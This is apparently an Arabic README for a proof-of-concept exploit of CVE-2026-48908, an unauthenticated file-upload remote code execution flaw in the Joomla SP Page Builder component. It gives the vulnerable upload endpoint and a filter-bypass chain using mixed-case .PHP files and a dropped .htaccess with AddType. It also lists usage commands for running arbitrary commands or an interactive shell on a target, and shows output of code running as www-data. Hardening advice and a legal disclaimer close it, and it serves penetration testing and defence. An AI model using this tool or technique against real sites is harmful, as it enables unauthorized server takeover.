
استغلال إثبات المفهوم لـ CVE-2026-48908، وهو RCE غير مصادق عليه في Joomla SP Page Builder عبر رفع ملفات تعسفي، مع تسليم حمولة تكيفية وتنظيف.
| CVE | CVE-2026-48908 |
| نقطة الضعف | CWE-284: التحكم غير السليم في الوصول → رفع ملفات تعسفي دون مصادقة → تنفيذ أوامر عن بعد |
| المكون | SP Page Builder (com_sppagebuilder) لجوملا |
| الإصدارات المتأثرة | 1.0.0 – 6.6.1 |
| تم الإصلاح في | 6.6.2 |
| الصلاحيات المطلوبة | لا شيء (قبل المصادقة) |
| تفاعل المستخدم | لا شيء |
يكشف SP Page Builder عن مهمة التحكم asset.uploadCustomIcon للتعامل مع رفع حزمة خط أيقونات مخصصة:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
في الإصدارات المتأثرة، تكون هذه المهمة قابلة للوصول بدون مصادقة وبدون رمز CSRF صالح. تقبل أرشيف ZIP (حقل متعدد الأجزاء باسم custom_icon) وتستخرج محتوياته إلى دليل يخدم عبر الويب علنياً تحت جذر المستندات:
/media/com_sppagebuilder/assets/iconfont/<name>/ (بما في ذلك المجلد الفرعي fonts/)
نظراً لأن الرفع متاح قبل المصادقة والملفات المستخرجة تنتهي في جذر الويب، يمكن للمهاجم كتابة ملفات يتحكم بها إلى موقع يمكن الوصول إليه عبر HTTP.
تضيف بعض الإصدارات مرشحاً لاسم الملف من جانب الخادم على إدخالات الأرشيف. هذا الدليل يتغلب على تطبيق شائع لهذا المرشح بسلسلة من ثلاث خطوات:
.php، .phtml، .phar، .php3–.php8، .pht، .inc، … ولكنه لا يقوم بتطبيع حالة الأحرف، لذا فإن .PHP (وأشكال أخرى مختلطة الحالة) و .htaccess تمر عبره.<FilesMatch "\.php$">) ينفذ فقط .php الصغيرة، لذا يتم تقديم ملف .PHP المرفوع في البداية كنص مصدر وليس تنفيذ..htaccess. يتم وضع ملف .htaccess (الذي يفوته المرشح أيضاً) يحتوي على AddType application/x-httpd-php .PHP بجانب الحمولة. عندما يسمح AllowOverride بذلك، يسجل هذا الأمر .PHP كـ PHP ويتم تنفيذ القشرة التي تم رفعها.يقوم الدليل دائماً بتعبئة هيكل خط أيقونات صالح (selection.json، style.css، fonts/<name>.ttf) حتى يتم قبول الرفع، ثم يضيف القشرة.
متكيف — يقوم بفحص قائمة من امتدادات PHP القابلة للتنفيذ (الأقل مساحة أولاً)، ثم احتياطي بـ .htaccess، ويتوقف عند أول امتداد ينفذ الأكواد بالفعل:
fonts/<shell>.<ext> لكل من php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. بدون .htaccess. مرشحات SP Page Builder المختلفة تمنع مجموعات مختلفة، وتكوينات Apache المختلفة تنفذ امتدادات مختلفة — لذا هذا يجد أي تركيبة يسمح بها الهدف و تعمل.fonts/.htaccess + fonts/<shell>.PHP (احتياطي) — فقط إذا فشلت كل المحاولات المباشرة. ملف .htaccess الذي تم إسقاطه (AddType … .PHP) يجبر .PHP كبير الحالة على التنفيذ عندما يسمح AllowOverride بذلك (ما تحتاجه مضيفات نمط 5.4.6).يتوقف عند أول طريقة تنفذ ويطبع أي واحدة نجحت. يتم تتبع كل رفع مقبول، لذا يقوم --cleanup بإزالة جميعها (المحاولات المتعددة قد تترك أدلة قابلة للكتابة فقط).
اعتماداً على الإصدار وتشديد الخادم، تختلف النتيجة ويوضحها الدليل صراحةً (انظر النتائج أدناه): RCE كاملة، كتابة ملف فقط (PHP معطل /
AllowOverride None)، تم التحديث (للمسؤولين فقط)، أو غير قابل للاستغلال.
pip install -r requirements.txt # requests
# تأكيد الثغرة وإثبات تنفيذ الأكواد (تنفيذ الأمر `id`)
python3 sppb_rce.py https://target.example
# تنفيذ أمر محدد
python3 sppb_rce.py --url target.example -c "uname -a"
# قشرة تفاعلية
python3 sppb_rce.py https://target.example --shell
# فحص فقط؛ لا تنفيذ أمر
python3 sppb_rce.py https://target.example --check
# إزالة دليل الحمولة المرفوع بعد الانتهاء
python3 sppb_rce.py https://target.example --cleanup
يمكن إعطاء الهدف كوسيطة موضعية أو عبر --url، مع أو بدون بروتوكول.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
يخبرك الدليل دائماً بالحكم على الهدف:
| المخرجات | المعنى | رمز الخروج |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | قابل للاستغلال — RCE كامل بدون مصادقة | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | كتابة ملف فقط (AllowOverride None / PHP معطل في /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | تم التحديث — الرفع يتطلب الآن مصادقة مدير | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | غير قابل للاستغلال / المكون غير موجود | 2 |
404 لأي شخص لا يمتلكه — فهي ليست باباً خلفياً مفتوحاً للعالم.--cleanup يحذف دليل الحمولة الذي تم إنشاؤه.id، علامة حسابية)./media/، /images/، /tmp) عبر تجمع FPM أو php_admin_flag engine off.AllowOverride None على تلك الأدلة حتى لا يتمكن ملف .htaccess المُسقَط من إعادة تمكين المعالجات..php/.PHP غير متوقعة تحت media/.../iconfont/، وحسابات مسؤول جديدة (Super User)، وأدوات إدارة ملفات مزروعة.استغلال SP Page Builder لجوملا · تنفيذ أوامر عن بعد بدون مصادقة على com_sppagebuilder · دليل إثبات CVE-2026-48908 · رفع ملفات تعسفي عبر asset.uploadCustomIcon · تنفيذ أوامر عن بعد في جوملا · أداة استغلال لاختبار الاختراق.
تم نشر هذا البرنامج لأغراض تعليمية واختبارات أمنية مصرح بها فقط — على سبيل المثال اختبارات الاختراق التي لديك إذن كتابي لتنفيذها، برامج مكافآت الثغرات التي تشمل الهدف ضمن نطاقها، مسابقات CTF، وأنظمتك المختبرية الخاصة.
الوصول إلى أنظمة الكمبيوتر أو تعديلها أو تعطيلها دون إذن غير قانوني في معظم الولايات القضائية. أنت وحدك المسؤول بالكامل عن أفعالك. باستخدام هذا الكود أو تنزيله أو توزيعه فإنك توافق على أن:
إذا كنت لا توافق على هذه الشروط، فلا تستخدم هذا البرنامج. كما هو الحال مع أي استغلال/PoC متاح للجمهور، يتم مشاركته بحسن نية لمساعدة المدافعين على اكتشاف وفهم ومعالجة الثغرة؛ ما تفعله به هو مسؤوليتك.
MIT — انظر LICENSE.